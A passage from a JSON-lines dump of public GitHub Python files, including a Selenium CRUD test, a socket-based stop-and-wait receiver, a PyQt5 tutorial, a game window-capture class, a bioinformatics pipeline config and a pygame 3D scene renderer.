'/html/body/div[2]/button[1]'\n locate_itemId = '/html/body/div[2]/div/table/tbody/tr/td[2]/input'\n locate_itemName = '/html/body/div[2]/div/table/tbody/tr/td[3]/input'\n locate_unitPrice = '/html/body/div[2]/div/table/tbody/tr/td[4]/input'\n locate_newUnitPrice = '/html/body/div[2]/div/table/tbody/tr[1]/td[4]/input'\n locate_qty = '/html/body/div[2]/div/table/tbody/tr/td[5]/input'\n locate_newQty = '/html/body/div[2]/div/table/tbody/tr[1]/td[5]/input'\n\n locate_itemId2 = '/html/body/div[2]/div/table/tbody/tr[2]/td[2]/input'\n locate_itemName2 = '/html/body/div[2]/div/table/tbody/tr[2]/td[3]/input'\n locate_unitPrice2 = '/html/body/div[2]/div/table/tbody/tr[2]/td[4]/input'\n locate_qty2 = '/html/body/div[2]/div/table/tbody/tr[2]/td[5]/input'\n\n locate_remove = '/html/body/div[2]/div/table/tbody/tr[1]/td[6]/button'\n\n locate_update = '/html/body/div[2]/button[2]'\n\n action = ActionChains(driver)\n\n\n try:\n # input and query\n element = Type(locate_userId, userId, attribute_xpath)\n sleep(1)\n element = Type(locate_orderId, orderId, attribute_xpath)\n sleep(1)\n element = Press(locate_query, attribute_xpath)\n sleep(1)\n\n # get the texts of OrderId, TotalPrice\n element_orderId = LocateByAttribute(attribute_xpath, locate_newOrderId)\n element_newUserId = LocateByAttribute(attribute_xpath, locate_newUserId)\n element_totalPrice = LocateByAttribute(attribute_xpath, locate_totalPrice)\n txt_newOrderId = element_orderId.text\n txt_newUserId = element_newUserId.text\n txt_totalPrice = element_totalPrice.text\n sleep(1)\n\n if not txt_newOrderId or not txt_newUserId or not txt_totalPrice:\n sys.exit(\"fail to get the texts\")\n \n # add two rows\n element_addNewRow = Press(locate_addNewRow, attribute_xpath)\n sleep(1)\n element_addNewRow = Press(locate_addNewRow, attribute_xpath)\n sleep(1)\n \n # fill the data\n element = Type(locate_itemId, itemId, attribute_xpath)\n sleep(0.5)\n element = Type(locate_itemName, itemName, attribute_xpath)\n sleep(0.5)\n element_firstRowUnitPrice = Type(locate_unitPrice, unitPrice, attribute_xpath)\n sleep(0.5)\n element_firstRowQty = Type(locate_qty, qty, attribute_xpath)\n sleep(0.5)\n\n element = Type(locate_itemId2, itemId2, attribute_xpath)\n sleep(0.5)\n element = Type(locate_itemName2, itemName2, attribute_xpath)\n sleep(0.5)\n element = Type(locate_unitPrice2, unitPrice2, attribute_xpath)\n sleep(0.5)\n element = Type(locate_qty2, qty2, attribute_xpath)\n sleep(0.5)\n \n # remove first row\n element = Press(locate_remove, attribute_xpath)\n sleep(0.5)\n \n # add new row and fill it \n element_addNewRow = Press(locate_addNewRow, attribute_xpath)\n sleep(0.5)\n element = Type(locate_itemId2, newId, attribute_xpath)\n sleep(0.5)\n element = Type(locate_itemName2, newItemName, attribute_xpath)\n sleep(0.5)\n element = Type(locate_unitPrice2, newUnitPrice, attribute_xpath)\n sleep(0.5)\n element = Type(locate_qty2, newQty, attribute_xpath)\n sleep(0.5)\n\n # modify the unitPrice and Qty in the first row\n element = Press(locate_newUnitPrice, attribute_xpath)\n action.double_click(element).perform()\n element = Type(locate_newUnitPrice, mod_val1, attribute_xpath)\n sleep(0.5)\n\n element = Press(locate_newQty, attribute_xpath)\n action.double_click(element).perform()\n element = Type(locate_newQty, mod_val2, attribute_xpath)\n sleep(0.5)\n\n # update it\n element = Press(locate_update, attribute_xpath)\n\n # detect the alert \n WebDriverWait(driver, 3).until(EC.alert_is_present(), 'Success')\n sleep(1)\n alert = driver.switch_to.alert\n alert.accept()\n print(\"alert accepted\")\n sleep(2)\n \n\n except:\n sys.exit(\"fail to update\")\n\n\ndef Delete(orderId):\n locate_orderId = '/html/body/input'\n locate_delete = '/html/body/button'\n\n try:\n element = Type(locate_orderId, orderId, attribute_xpath)\n sleep(1)\n element = Press(locate_delete, attribute_xpath)\n sleep(1)\n\n # detect the alert \n WebDriverWait(driver, 3).until(EC.alert_is_present(), 'Success')\n sleep(1)\n alert = driver.switch_to.alert\n alert.accept()\n print(\"alert accepted\")\n print(\"testing is finished, congrats!\")\n\n except:\n sys.exit(\"fail to delete\")\n\n\n\nif __name__ == \"__main__\":\n\n # open the submission web \n s = Service('./chromedriver')\n options = webdriver.ChromeOptions()\n options.add_argument('ignore-certificate-errors') # to avoid: certificate problems caused by 3rd browser\n\n driver = webdriver.Chrome(service=s, chrome_options=options)\n driver.maximize_window()\n url_create = 'file:///Users/kian199887/Downloads/github_francistan88/DSA/wistron/Create.html'\n url_query = 'file:///Users/kian199887/Downloads/github_francistan88/DSA/wistron/Query.html'\n url_update = 'file:///Users/kian199887/Downloads/github_francistan88/DSA/wistron/Update.html'\n url_delete = 'file:///Users/kian199887/Downloads/github_francistan88/DSA/wistron/Delete.html'\n driver.get(url_create)\n time.sleep(3)\n\n # fill the create:\n user_id = 'aaaa'\n payment_type = 0\n orderId = Create(user_id, payment_type)\n # print(id_text)\n \n # fill the query\n Query(orderId)\n\n # fill the update\n itemId = \"aa\"\n itemName = \"bb\"\n unitPrice = 1\n qty = 2\n\n itemId2 = \"cc\"\n itemName2 = \"dd\"\n unitPrice2 = 3\n qty2 = 4\n \n newId = \"ee\"\n newItemName = \"ff\"\n newUnitPrice = 5\n newQty = 6\n\n mod_val1 = 7\n mod_val2 = 8\n\n Update(user_id, orderId, itemId, itemName, unitPrice, qty, itemId2, itemName2, unitPrice2, qty2, newId, newItemName, newUnitPrice, newQty, mod_val1, mod_val2)\n\n # fill the delete\n driver.get(url_delete)\n sleep(2)\n Delete(orderId)\n \n \n\n\n ","repo_name":"FrancisTan88/IBM","sub_path":"wistron/CRUD.py","file_name":"CRUD.py","file_ext":"py","file_size_in_byte":9778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70424107122","text":"import socket\nimport pickle\nfrom hamming_decode import encode\nimport time\n\ndef wait_for_event(frame):\n if not frame:\n return False\n else:\n return True\nsocketdll = socket.socket()\nhost = socket.gethostname()\nport = 4003\n\nsocketdll.connect((host,port))\nprint(\"Connected\")\nsocket_to_network = socket.socket()\n\nport = 3010\nsocket_to_network.bind((host,port))\nsocket_to_network.listen(5)\nconn, addr = socket_to_network.accept()\n\nwhile True:\n frame = pickle.loads(socketdll.recv(1024))\n event = False\n if wait_for_event(frame):\n event = True\n # print(event)\n if event:\n print(\"Frame Received from physical layer \",frame)\n\n data = frame[3]\n print(\"Message Received from physical layer \",data)\n if data!=\"Over\":\n check = encode(data)\n print(check)\n flag=0\n if int(check)!=0:\n # time.sleep(2)\n if frame[2]=='1':\n frame[2]='0'\n elif frame[2]=='0':\n frame[2]='1'\n flag=1\n # print(frame[2])\n\n # socketdll.send(frame[2].encode())\n else:\n conn.send(data.encode())\n \n # if 0==0:\n # conn.send(data.encode())\n # print(\"Info sent to network layer\")\n # flag = 1\n if flag==1:\n print(\"Discarding...\")\n if data==\"Over\":\n break\n # print(frame[2],flag)\n if frame[2]!='-1' and flag==0:\n print(\"Sending ack to sender...\")\n socketdll.send(frame[2].encode())\nsocketdll.close()\nconn.close()","repo_name":"gauravruhela07/Stop-And-Wait-DLL-Protocol","sub_path":"receiver/data_link_layer.py","file_name":"data_link_layer.py","file_ext":"py","file_size_in_byte":1596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70277075122","text":"data = \"be cfbegad cbdgef fgaecd cgeb fdcge agebfd fecdb fabcd edb | fdgacbe cefdb cefbgd gcbe edbfga begcd cbg gc gcadebf fbgde acbgfd abcde gfcbed gfec | fcgedb cgb dgebacf gc fgaebd cg bdaec gdafb agbcfd gdcbef bgcad gfac gcb cdgabef | cg cg fdcagb cbg fbegcd cbd adcefb dageb afcb bc aefdc ecdab fgdeca fcdbega | efabcd cedba gadfec cb aecbfdg fbg gf bafeg dbefa fcge gcbea fcaegb dgceab fcbdga | gecf egdcabf bgf bfgea fgeab ca afcebg bdacfeg cfaedg gcfdb baec bfadeg bafgc acf | gebdcfa ecba ca fadegcb dbcfg fgd bdegcaf fgec aegbdf ecdfab fbedc dacgb gdcebf gf | cefg dcbef fcge gbcadfe bdfegc cbegaf gecbf dfcage bdacg ed bedf ced adcbefg gebcd | ed bcgafe cdgba cbgef egadfb cdbfeg cegd fecab cgb gbdefca cg fgcdab egfdb bfceg | gbdfcae bgc cg cgb gcafb gcf dcaebfg ecagb gf abcdeg gaef cafbge fdbac fegbdc | fgae cfgab fg bagce\"\n\nstrings = data.split()\noutput = []\nlengths = [7,4,2,3]\n\n#for i, s in enumerate(strings):\n# if s == '|':\n# output.append(strings[i+1])\n# output.append(strings[i+2])\n# output.append(strings[i+3])\n# output.append(strings[i+4])\n\ni=0\nwhile ((i+15)Qwidget
    widget')\n # 设置按钮名称\n btn = QPushButton('Button', self)\n # # 点击按钮后的信号槽传递\n # btn.clicked.connect(QCoreApplication.instance().quit)\n # 鼠标放在按钮上的提示\n btn.setToolTip('This is a QPushButton widget')\n # 按钮的大小\n btn.resize(btn.sizeHint())\n btn.move(50, 50)\n # 前两个参数是窗口运行时的坐标,后两个参数是窗口大小\n self.setGeometry(0, 100, 500, 220)\n # 设置窗口运行时在屏幕正中央打开\n self.center()\n # 窗口标题栏显示\n self.setWindowTitle(\"Simple\")\n # 窗口栏左边的图标\n self.setWindowIcon(QIcon('web.png'))\n self.show()\n\n def center(self):\n qr = self.frameGeometry()\n cp = QDesktopWidget().availableGeometry().center()\n qr.moveCenter(cp)\n self.move(qr.topLeft())\n\n # 关闭窗口时会调用这个处理方法,\n # 我们要重写这个方法,在关闭串口时让用户多次确认\n def closeEvent(self, event):\n reply = QMessageBox.question(self, 'Message',\n \"Are you sure to quit?\", QMessageBox.Yes |\n QMessageBox.No, QMessageBox.No)\n\n if reply == QMessageBox.Yes:\n reply = QMessageBox.question(self, 'Message',\n \"sure? sure? sure?\", QMessageBox.Yes |\n QMessageBox.No, QMessageBox.No)\n\n if reply == QMessageBox.Yes:\n event.accept()\n else:\n event.ignore()\n else:\n event.ignore()\n\nif __name__ == '__main__':\n # app = QApplication(sys.argv)\n # w = QWidget()\n # # 窗口的大小\n # w.resize(550, 150)\n # # 窗口打开时的坐标\n # w.move(0, 0)\n # # 窗口标题栏显示\n # w.setWindowTitle('Simple')\n # w.show()\n # sys.exit(app.exec_())\n\n app = QApplication(sys.argv)\n ex = Example()\n sys.exit(app.exec_())","repo_name":"TechDP/LearnPyQt5","sub_path":"learnPyQt5_QWidget.py","file_name":"learnPyQt5_QWidget.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14010974548","text":"import numpy as np\r\nimport win32gui\r\nimport win32ui\r\nimport win32con\r\nfrom threading import Thread, Lock\r\n\r\n\r\nclass WindowCapture:\r\n \r\n #threading properites \r\n stopped = True\r\n lock = None\r\n screenshot = None\r\n\r\n\r\n #properties\r\n w = 0\r\n h = 0\r\n hwnd = None\r\n titlebar = 32\r\n border = 10\r\n cropped_x = 0\r\n cropped_y = 0\r\n offset_x = 0\r\n offset_y = 0\r\n\r\n def __init__(self, window_name):\r\n #thread lock object\r\n self.lock = Lock()\r\n\r\n #find game window\r\n self.hwnd = win32gui.FindWindow(None, window_name)\r\n if not self.hwnd:\r\n raise Exception('Window not found: {}'.format(window_name))\r\n\r\n #measuring for window border to capture only the game\r\n window_size = win32gui.GetWindowRect(self.hwnd)\r\n self.w = window_size[2] - window_size[0]\r\n self.h = window_size[3] - window_size[1]\r\n self.w = self.w - (self.border * 2)\r\n self.h = self.h - self.titlebar - self.border\r\n self.cropped_x = self.border\r\n self.cropped_y = self.titlebar\r\n\r\n #set cropped coords to translate to game screenshot\r\n self.offset_x = window_size[0] + self.cropped_x\r\n self.offset_y = window_size[1] + self.cropped_y\r\n \r\n \r\n\r\n\r\n def get_window(self): \r\n #capture screen\r\n wDC = win32gui.GetWindowDC(self.hwnd)\r\n dcObj = win32ui.CreateDCFromHandle(wDC)\r\n cDC = dcObj.CreateCompatibleDC()\r\n dataBitMap = win32ui.CreateBitmap()\r\n dataBitMap.CreateCompatibleBitmap(dcObj, self.w, self.h)\r\n cDC.SelectObject(dataBitMap)\r\n cDC.BitBlt((0, 0), (self.w, self.h), dcObj, (self.cropped_x, self.cropped_y), win32con.SRCCOPY)\r\n #save bitmap and re-size\r\n signedIntsArray = dataBitMap.GetBitmapBits(True)\r\n image = np.fromstring(signedIntsArray, dtype = 'uint8')\r\n image.shape = (self.h, self.w, 4)\r\n #release resources\r\n dcObj.DeleteDC()\r\n cDC.DeleteDC()\r\n win32gui.ReleaseDC(self.hwnd, wDC)\r\n win32gui.DeleteObject(dataBitMap.GetHandle())\r\n\r\n #drop alpha channel to image\r\n image = image[:, :, :3]\r\n image = np.ascontiguousarray(image)\r\n\r\n return image\r\n\r\n\r\n #try to prevent errors if the game client window is moved\r\n def get_screen_position(self, position):\r\n return (position[0] + self.offset_x, position[1] + self.offset_y)\r\n\r\n def run(self):\r\n while not self.stopped:\r\n #get upadated game image\r\n screenshot = self.get_window()\r\n #lock thread\r\n self.lock.acquire()\r\n self.screenshot = screenshot\r\n self.lock.release()\r\n\r\n def start(self):\r\n self.stopped = False\r\n window_capture_thread = Thread(target=self.run)\r\n window_capture_thread.start()\r\n \r\n def stop(self):\r\n self.stopped = True","repo_name":"BronsonPearl/CodeExamples","sub_path":"RSBOT/windowcapture.py","file_name":"windowcapture.py","file_ext":"py","file_size_in_byte":2912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72950318963","text":"import os\nbasedir = os.path.abspath(os.path.dirname(\"__file__\"))\n\n# CONFIG file for INNUENDO Job Controller\nREDIS_URL = 'redis://redis:6379'\n\n# Files folder (FTP)\nFTP_FILES_FOLDER = 'ftp/files'\nASPERAKEY = \"~/.aspera/connect/etc/asperaweb_id_dsa.openssh\"\n\n# Specific process resources specifications\nNEXTFLOW_RESOURCES = {\n \"reads_download\": {\n \"memory\": r\"\\'2GB\\'\",\n \"cpus\": \"2\"\n },\n \"integrity_coverage\": {\n \"memory\": r\"\\'2GB\\'\",\n \"cpus\": \"1\"\n },\n \"check_coverage\": {\n \"memory\": r\"\\'2GB\\'\",\n \"cpus\": \"1\"\n },\n \"fastqc\": {\n \"memory\": r\"\\'2GB\\'\",\n \"cpus\": \"2\"\n },\n \"trimmomatic\": {\n \"memory\": \"{2.GB*task.attempt}\",\n \"cpus\": \"2\"\n },\n \"fastqc_trimmomatic\": {\n \"memory\": \"{2.GB*task.attempt}\",\n \"cpus\": \"2\"\n },\n \"true_coverage\": {\n \"memory\": r\"\\'1GB\\'\",\n \"cpus\": \"2\"\n },\n \"spades\": {\n \"memory\": \"{2.GB*task.attempt}\",\n \"cpus\": \"2\",\n \"scratch\": \"true\"\n },\n \"process_spades\": {\n \"memory\": r\"\\'2GB\\'\",\n \"cpus\": \"1\"\n },\n \"skesa\": {\n \"memory\": \"{2.GB*task.attempt}\",\n \"cpus\": \"2\",\n \"scratch\": \"true\"\n },\n \"process_skesa\": {\n \"memory\": r\"\\'2GB\\'\",\n \"cpus\": \"1\"\n },\n \"assembly_mapping\": {\n \"memory\": \"{2.GB*task.attempt}\",\n \"cpus\": \"2\"\n },\n \"pilon\": {\n \"memory\": \"{2.GB*task.attempt}\",\n \"cpus\": \"2\"\n },\n \"mlst\": {\n \"memory\": r\"\\'2GB\\'\",\n \"cpus\": \"1\",\n \"version\": \"tuberfree\"\n },\n \"abricate\": {\n \"memory\": r\"\\'2GB\\'\",\n \"cpus\": \"1\"\n },\n \"prokka\": {\n \"memory\": r\"\\'2GB\\'\",\n \"cpus\": \"1\"\n },\n \"chewbbaca\": {\n \"memory\": r\"\\'2GB\\'\",\n \"cpus\": \"2\",\n \"queue\": r\"\\'chewBBACA\\'\"\n },\n \"seq_typing\": {\n \"memory\": r\"\\'2GB\\'\",\n \"cpus\": \"2\"\n },\n \"patho_typing\": {\n \"memory\": r\"\\'2GB\\'\",\n \"cpus\": \"2\"\n },\n \"sistr\": {\n \"memory\": r\"\\'2GB\\'\",\n \"cpus\": \"1\"\n },\n}\n\n\nSERVER_IP = 'web'\nFRONTEND_SERVER_IP = 'web'\n\n#######################SLURM CONF ##############\n\nDEFAULT_SLURM_CPUS = '8'\nNEXTFLOW_PROFILE = 'desktop'\nNEXTFLOW_GENERATOR_PATH = '/Controller/flowcraft/flowcraft/flowcraft.py'\nNEXTFLOW_GENERATOR_RECIPE = 'innuendo'\nNEXTFLOW_PARTITION = 'nextflow'\nNEXTFLOW_JOB_MEM_PER_CPU = '1500'\n\nFASTQPATH = \"data/*_{1,2}.*\"\nINSPECT_ROUTE = \"http://web/\"\n\nJOBS_ROOT_SET_OUTPUT = 'http://'+SERVER_IP+'/jobs/setoutput/'\nJOBS_ROOT_SET_REPORT = 'http://'+FRONTEND_SERVER_IP+'/app/api/v1.0/jobs/report/'\n\nCHEWBBACA_PARTITION = 'chewBBACA'\nCHEWBBACA_SCHEMAS_PATH = '/INNUENDO/inputs/schemas'\n\nCHEWBBACA_TRAINING_FILE = {\n \"E.coli\": \"/INNUENDO/inputs/prodigal_training_files/prodigal_training_files/Escherichia_coli.trn\",\n \"Yersinia\": \"/INNUENDO/inputs/prodigal_training_files/prodigal_training_files/Yersinia_enterocolitica.trn\",\n \"Campylobacter\": \"/INNUENDO/inputs/prodigal_training_files/prodigal_training_files/Campylobacter_jejuni.trn\",\n \"Salmonella\": \"/INNUENDO/inputs/prodigal_training_files/prodigal_training_files/Salmonella_enterica.trn\"\n}\n\nCHEWBBACA_CORRESPONDENCE = {\n \"E.coli\": \"Escherichia coli\",\n \"Yersinia\": \"Yersinia enterocolitica\",\n \"Campylobacter\": \"Campylobacter jejuni\",\n \"Salmonella\": \"Salmonella enterica\"\n}\n\nMLST_CORRESPONDENCE = {\n \"E.coli\": \"ecoli\",\n \"Yersinia\": \"yersinia\",\n \"Campylobacter\": \"campylobacter\",\n \"Salmonella\": \"senterica\"\n\n}\n\nMLST_VERSION = \"tuberfree\"\n\n\nSEQ_FILE_O = {\n \"E.coli\": \"/INNUENDO/inputs/serotyping_files/escherichia_coli/1_O_type.fasta\"\n}\n\nSEQ_FILE_H = {\n \"E.coli\": \"/INNUENDO/inputs/serotyping_files/escherichia_coli/2_H_type.fasta\"\n}\n\n\n##### DECODIFICATION OF DATABASES AND BASE METADATA FOR MLST DATABASE #########\n\nallele_classes_to_ignore = {\n 'LNF': '0',\n 'INF-': '',\n 'NIPHEM': '0',\n 'NIPH': '0',\n 'LOTSC': '0',\n 'PLOT3': '0',\n 'PLOT5': '0',\n 'ALM': '0',\n 'ASM': '0'\n}\n\nmetadata_to_use = {\n 'Uberstrain': 'strainID',\n 'SourceType': 'Source',\n 'Country': 'Country',\n 'Serotype': 'Serotype',\n 'Simple Patho': 'Pathotyping',\n 'ST(Achtman 7 Gene)': 'ST'\n}\n\nbase_metadata = {\n 'strainID': \"\",\n \"Source\": \"\",\n \"Country\": \"\",\n \"Serotype\": \"\",\n \"Pathotyping\": \"\",\n \"ST\": \"\"\n}\n\nwg_index_correspondece = {\n \"v1\": {\n \"E.coli\": \"/INNUENDO/inputs/v1/indexes/ecoli_wg.index\",\n \"Yersinia\": \"/INNUENDO/inputs/v1/indexes/yersinia_wg\",\n \"Salmonella\": \"/INNUENDO/inputs/v1/indexes/salmonella_wg\",\n \"Campylobacter\": \"/INNUENDO/inputs/v1/indexes/campy_wg\"\n }\n}\n\ncore_index_correspondece = {\n \"v1\": {\n \"E.coli\": \"/INNUENDO/inputs/v1/indexes/ecoli_core.index\",\n \"Yersinia\": \"/INNUENDO/inputs/v1/indexes/yersinia_core\",\n \"Salmonella\": \"/INNUENDO/inputs/v1/indexes/salmonella_core\",\n \"Campylobacter\": \"/INNUENDO/inputs/v1/indexes/campy_core\"\n }\n}\n\nwg_headers_correspondece = {\n \"v1\": {\n \"E.coli\": \"/INNUENDO/inputs/v1/core_lists/ecoli_headers_wg.txt\",\n \"Yersinia\": \"/INNUENDO/inputs/v1/core_lists/yersinia_headers_wg.txt\",\n \"Salmonella\": \"/INNUENDO/inputs/v1/core_lists/salmonella_headers_wg.txt\",\n \"Campylobacter\": \"/INNUENDO/inputs/v1/core_lists/campy_headers_wg.txt\"\n }\n}\ncore_headers_correspondece = {\n \"v1\": {\n \"E.coli\": \"/INNUENDO/inputs/v1/core_lists/ecoli_headers_core.txt\",\n \"Yersinia\": \"/INNUENDO/inputs/v1/core_lists/yersinia_headers_core.txt\",\n \"Salmonella\": \"/INNUENDO/inputs/v1/core_lists/salmonella_headers_core.txt\",\n \"Campylobacter\": \"/INNUENDO/inputs/v1/core_lists/campy_headers_core.txt\"\n }\n}\n\ncore_increment_profile_file_correspondece = {\n \"v1\": {\n \"E.coli\": \"/INNUENDO/inputs/v1/indexes/ecoli_core_profiles.tab\",\n \"Yersinia\": \"/INNUENDO/inputs/v1/indexes/yersinia_core_profiles.tab\",\n \"Salmonella\": \"/INNUENDO/inputs/v1/indexes/salmonella_core_profiles.tab\",\n \"Campylobacter\": \"/INNUENDO/inputs/v1/indexes/campy_core_profiles.tab\"\n }\n}\n\nwg_increment_profile_file_correspondece = {\n \"v1\": {\n \"E.coli\": \"/INNUENDO/inputs/v1/indexes/ecoli_wg_profiles.tab\",\n \"Yersinia\": \"/INNUENDO/inputs/v1/indexes/yersinia_wg_profiles.tab\",\n \"Salmonella\": \"/INNUENDO/inputs/v1/indexes/salmonella_wg_profiles.tab\",\n \"Campylobacter\": \"/INNUENDO/inputs/v1/indexes/campy_wg_profiles.tab\"\n }\n}\n\nspecies_expected_genome_size = {\n \"E.coli\": \"5\",\n \"Yersinia\": \"4.7\",\n \"Salmonella\": \"4.6\",\n \"Campylobacter\": \"1.6\"\n}\n\n################## ALLEGROGRAPH CONFIGURATION ###############################\n\n# agraph config\nCURRENT_DIRECTORY = os.getcwd()\n\nAG_HOST = os.environ.get('AGRAPH_HOST', FRONTEND_SERVER_IP)\nAG_PORT = int(os.environ.get('AGRAPH_PORT', '10035'))\n\nAG_REPOSITORY = 'innuendo'\nAG_USER = 'innuendo'\nAG_PASSWORD = 'innuendo_allegro'\n\n# List namespaces\nobo = \"http://purl.obolibrary.org/obo/\"\ndcterms=\"http://purl.org/dc/terms/\"\nedam =\"http://edamontology.org#\"\nlocalNSpace=\"http://ngsonto.net/api/v1.0/\"\n\npTypes = [\n 'dnaextraction',\n 'librarypreparation',\n 'qualityControl',\n 'sequencing',\n 'trimming',\n 'filtering',\n 'mapping',\n 'denovo',\n 'allelecall',\n 'pathotyping'\n]\n\nprotocolsTypes =[\n 'http://purl.obolibrary.org/obo/NGS_0000067',\n 'http://purl.obolibrary.org/obo/NGS_0000068',\n 'http://purl.obolibrary.org/obo/NGS_0000088',\n 'http://purl.obolibrary.org/obo/NGS_0000072',\n 'http://purl.obolibrary.org/obo/NGS_0000065',\n 'http://purl.obolibrary.org/obo/NGS_0000066',\n 'http://purl.obolibrary.org/obo/NGS_0000071',\n 'http://purl.obolibrary.org/obo/NGS_0000070',\n 'http://purl.obolibrary.org/obo/NGS_0000090',\n 'http://purl.obolibrary.org/obo/NGS_0000100'\n]\n\nprocessTypes = [\n 'http://purl.obolibrary.org/obo/OBI_0000257',\n 'http://purl.obolibrary.org/obo/OBI_0000711',\n 'http://edamontology.org/operation_3218',\n 'http://purl.obolibrary.org/obo/OBI_0000626',\n 'http://edamontology.org/operation_0369',\n 'http://purl.obolibrary.org/obo/NGS_0000008',\n 'http://edamontology.org/operation_0523',\n 'http://edamontology.org/operation_0524',\n 'http://purl.obolibrary.org/obo/NGS_0000098',\n 'http://purl.obolibrary.org/obo/NGS_0000099'\n]\n\nprocessMessages =[\n 'http://purl.obolibrary.org/obo/OBI_0001051',\n 'http://purl.obolibrary.org/obo/NGS_0000001',\n 'http://purl.obolibrary.org/obo/SO_0000150',\n 'http://purl.obolibrary.org/obo/SO_0000150',\n 'http://purl.obolibrary.org/obo/SO_0000150',\n 'http://purl.obolibrary.org/obo/SO_0000150',\n 'http://purl.obolibrary.org/obo/SO_0000149',\n 'http://purl.obolibrary.org/obo/OBI_0001573',\n 'http://purl.obolibrary.org/obo/OBI_0001305',\n 'http://purl.obolibrary.org/obo/OBI_0001305'\n]\n\n\nprotocolsTypes = dict(zip(pTypes, protocolsTypes))\nprocessTypes = dict(zip(pTypes, processTypes))\nprocessMessages = dict(zip(pTypes, processMessages))\n","repo_name":"bfrgoncalves/INNUENDO_docker","sub_path":"configs/app/config_process.py","file_name":"config_process.py","file_ext":"py","file_size_in_byte":8943,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"14179559611","text":"'''\nTime: O(N^3)\nSpace: O(1)\n\nYou are here!\nYour runtime beats 80.34 % of python3 submissions.\nYou are here!\nYour memory usage beats 73.50 % of python3 submissions.\n'''\n\n\nclass Solution:\n def ambiguousCoordinates(self, s: str) -> List[str]:\n s = s[1: -1]\n def permuts(s):\n if not s or len(s) > 1 and s[0] == s[-1] == '0':\n return []\n if '0' == s[-1]:\n return [s]\n if '0' == s[0]:\n return ['0' + '.' + s[1:]]\n return [s] + [s[:i] + '.' + s[i:] for i in range(1, len(s))]\n \n return ['(%s, %s)' % (a, b) for i in range(len(s)) for a, b in itertools.product(permuts(s[:i]), permuts(s[i:]))]\n","repo_name":"lixiang2017/leetcode","sub_path":"explore/2021/may/Ambiguous_Coordinates.py","file_name":"Ambiguous_Coordinates.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"69838915123","text":"import numpy as np\nimport pygame\n\nfrom manager import ModelManager\nfrom models import Camera\nfrom linalg import rotate2d, project2d\n\nSCALE_FACTOR = 400 # scaling factor to slow down mouse movements\nMOTION_THRESHOLD = 200 # prevent overly erratic mouse movements\n\n\nclass Scene:\n '''\n Manages input/output of the pygame display\n '''\n def __init__(self):\n self._screen_size = (400, 400)\n self._center = (self._screen_size[0]//2, self._screen_size[1]//2)\n self._screen = None\n self._clock = None\n self._background = (128, 128, 255)\n self._title = None\n\n self._model_manager = None\n self._camera = Camera()\n\n def add_manager(self, model_manager):\n '''\n Register a ModelManager with the Scene\n Note that this will replace any existing manager\n '''\n if not isinstance(model_manager, ModelManager):\n raise TypeError('Input must be of type ModelManager')\n self._model_manager = model_manager\n\n def set_viewpoint(self, viewpoint):\n '''\n Set the camera position (viewpoint is a 3-element iterable)\n '''\n self._camera.viewpoint = viewpoint\n\n def get_viewpoint(self):\n '''\n Get the camera position\n '''\n return self._camera.viewpoint\n\n def set_rotation(self, rotation):\n '''\n Set the rotation. rotation is a 2-element iterable, with the first element about\n the camera x-axis (up/down) and the second element about the camera y-axis (side to side).\n '''\n self._camera.rotation = rotation\n\n def get_rotation(self):\n '''\n Get the camera rotation state\n '''\n return self._camera.rotation\n\n def set_screen_size(self, width, height):\n '''\n Set the screen size. This should be done before Scene.run() is invoked.\n '''\n self._screen_size = (width, height)\n\n def set_title(self, title):\n '''\n Set the pygame window title. This should be done before Scene.run() is invoked.\n '''\n self._title = title\n\n def set_clipping_plane(self, distance):\n '''\n Set the close clipping plane. This should be done before Scene.run() is invoked.\n '''\n self._camera.clip_plane = distance\n\n def set_background(self, colour):\n '''\n Set the window background. This should be done before Scene.run() is invoked.\n '''\n if len(colour) != 3:\n raise TypeError('Colours must be RGB tuples')\n self._background = colour\n\n def run(self, duration=0):\n '''\n Run the Scene. This will create a pygame window with the models contained in the\n ModelManager, orient the camera, and animate the models based on their respective\n MotionMaps (see ModelManager for details). The duration argument specifies the time\n for which to run the scene. A value of 0 will cause the scene to run indefinitely.\n '''\n self._initialize()\n time = 0.\n while True:\n dt = self._clock.tick()/1000.\n time += dt\n if duration and time > duration:\n self._quit()\n\n self._update_camera(dt, pygame.key.get_pressed())\n\n for event in pygame.event.get():\n self._handle_event(event)\n\n self._screen.fill(self._background)\n self._update(time)\n self._draw_models()\n pygame.display.flip()\n pygame.time.wait(5)\n\n def _initialize(self):\n '''\n Initialization of the pygame window, camera, and controls\n '''\n if self._model_manager is None:\n raise ValueError('No ModelManager has been associated with this Scene')\n pygame.init()\n self._min_z = 1\n if self._title is not None:\n pygame.display.set_caption(self._title)\n self._screen = pygame.display.set_mode(self._screen_size)\n self._center = (self._screen_size[0]//2, self._screen_size[1]//2)\n self._clock = pygame.time.Clock()\n fov = np.pi/2\n self._camera.proj_x = self._screen_size[0]/2/np.tan(fov/2)/(self._screen_size[0]/self._screen_size[1])\n self._camera.proj_y = self._screen_size[1]/2/np.tan(fov/2)\n pygame.event.get()\n pygame.mouse.get_rel()\n pygame.mouse.set_visible(False)\n pygame.event.set_grab(True)\n\n def _update_camera(self, dt, keys):\n '''\n Update the camera position and orientation\n '''\n s = dt*10\n cam_pos = self._camera.viewpoint\n if keys[pygame.K_LSHIFT]:\n cam_pos[1, 0] += s\n if keys[pygame.K_SPACE]:\n cam_pos[1, 0] -= s\n\n x, y = s*np.sin(self._camera.rotation[1]), s*np.cos(self._camera.rotation[1])\n if keys[pygame.K_w]:\n cam_pos[0, 0] += x\n cam_pos[2, 0] += y\n if keys[pygame.K_s]:\n cam_pos[0, 0] -= x\n cam_pos[2, 0] -= y\n if keys[pygame.K_a]:\n cam_pos[0, 0] -= y\n cam_pos[2, 0] += x\n if keys[pygame.K_d]:\n cam_pos[0, 0] += y\n cam_pos[2, 0] -= x\n self._camera.viewpoint = cam_pos\n\n def _draw_models(self):\n '''\n Draw the models contained in the ModelManager. Models are drawn face-by-face, with all\n faces from all models being sorted by depth and 